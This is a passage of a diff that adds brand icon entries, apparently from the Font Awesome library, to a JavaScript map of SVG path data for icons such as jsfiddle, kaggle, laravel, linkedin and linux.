58.6z" ], + "js-square": [ 448, 512, [], "f3b9", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z" ], + jsfiddle: [ 576, 512, [], "f1cc", "M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z" ], + kaggle: [ 320, 512, [], "f5fa", "M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z" ], + keybase: [ 448, 512, [], "f4f5", "M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z" ], + keycdn: [ 512, 512, [], "f3ba", "M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160" ], + kickstarter: [ 448, 512, [], "f3bb", "M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z" ], + "kickstarter-k": [ 384, 512, [], "f3bc", "M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z" ], + korvue: [ 446, 512, [], "f42f", "M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z" ], + laravel: [ 512, 512, [], "f3bd", "M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z" ], + lastfm: [ 512, 512, [], "f202", "M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z" ], + "lastfm-square": [ 448, 512, [], "f203", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z" ], + leanpub: [ 576, 512, [], "f212", "M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z" ], + less: [ 640, 512, [], "f41d", "M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z" ], + line: [ 448, 512, [], "f3c0", "M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z" ], + linkedin: [ 448, 512, [], "f08c", "M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z" ], + "linkedin-in": [ 448, 512, [], "f0e1", "M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z" ], + linode: [ 448, 512, [], "f2b8", "M437.4 226.3c-.3-.9-.9-1.4-1.4-2l-70-38.6c-.9-.6-2-.6-3.1 0l-58.9 36c-.9.6-1.4 1.7-1.4 2.6l-.9 31.4-24-16c-.9-.6-2.3-.6-3.1 0L240 260.9l-1.4-35.1c0-.9-.6-2-1.4-2.3l-36-24.3 33.7-17.4c1.1-.6 1.7-1.7 1.7-2.9l-5.7-132.3c0-.9-.9-2-1.7-2.6L138.6.3c-.9-.3-1.7-.3-2.3-.3L12.6 38.6c-1.4.6-2.3 2-2 3.7L38 175.4c.9 3.4 34 27.4 38.6 30.9l-26.9 12.9c-1.4.9-2 2.3-1.7 3.4l20.6 100.3c.6 2.9 23.7 23.1 27.1 26.3l-17.4 10.6c-.9.6-1.7 2-1.4 3.1 1.4 7.1 15.4 77.7 16.9 79.1l65.1 69.1c.6.6 1.4.6 2.3.9.6 0 1.1-.3 1.7-.6l83.7-66.9c.9-.6 1.1-1.4 1.1-2.3l-2-46 28 23.7c1.1.9 2.9.9 4 0l66.9-53.4c.9-.6 1.1-1.4 1.1-2.3l2.3-33.4 20.3 14c1.1.9 2.6.9 3.7 0l54.6-43.7c.6-.3 1.1-1.1 1.1-2 .9-6.5 10.3-70.8 9.7-72.8zm-204.8 4.8l4 92.6-90.6 61.2-14-96.6 100.6-57.2zm-7.7-180l5.4 126-106.6 55.4L104 97.7l120.9-46.6zM44 173.1L18 48l79.7 49.4 19.4 132.9L44 173.1zm30.6 147.8L55.7 230l70 58.3 13.7 93.4-64.8-60.8zm24.3 117.7l-13.7-67.1 61.7 60.9 9.7 67.4-57.7-61.2zm64.5 64.5l-10.6-70.9 85.7-61.4 3.1 70-78.2 62.3zm82-115.1c0-3.4.9-22.9-2-25.1l-24.3-20 22.3-14.9c2.3-1.7 1.1-5.7 1.1-8l29.4 22.6.6 68.3-27.1-22.9zm94.3-25.4l-60.9 48.6-.6-68.6 65.7-46.9-4.2 66.9zm27.7-25.7l-19.1-13.4 2-34c.3-.9-.3-2-1.1-2.6L308 259.7l.6-30 64.6 40.6-5.8 66.6zm54.6-39.8l-48.3 38.3 5.7-65.1 51.1-36.6-8.5 63.4z" ], + linux: [ 448, 512, [], "f17c", "M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 